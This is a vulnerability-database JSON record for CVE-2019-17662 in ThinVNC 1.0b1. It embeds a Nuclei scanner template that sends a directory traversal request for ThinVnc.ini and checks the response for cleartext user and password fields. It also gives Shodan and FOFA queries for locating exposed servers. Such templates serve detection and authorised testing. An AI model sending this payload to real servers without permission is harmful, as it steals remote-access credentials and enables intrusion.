{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-17662/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-17662/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-17662/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-17662/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-17662/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-17662"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-17662"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-17662.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-17662\n\ninfo:\n  name: ThinVNC 1.0b1 - Authentication Bypass\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.\n  impact: |\n    An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.\n  remediation: |\n    Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.\n  reference:\n    - http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html\n    - https://github.com/bewest/thinvnc/issues/5\n    - https://redteamzone.com/ThinVNC/\n    - https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py\n    - https://github.com/YIXINSHUWU/Penetration_Testing_POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-17662\n    cwe-id: CWE-22\n    epss-score: 0.96758\n    epss-percentile: 0.99886\n    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: cybelsoft\n    product: thinvnc\n    shodan-query: http.favicon.hash:-1414548363\n    fofa-query: icon_hash=-1414548363\n  tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"User=\"\n          - \"Password=\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/binary\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220634df1a4f69343ed22dd86b68d8f8612a1007e589096545aacee419d873b9468022100ee0719821154b009b321a55ebafb70697298bc2c84af2a1d426b8715529fc570:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-17662"
}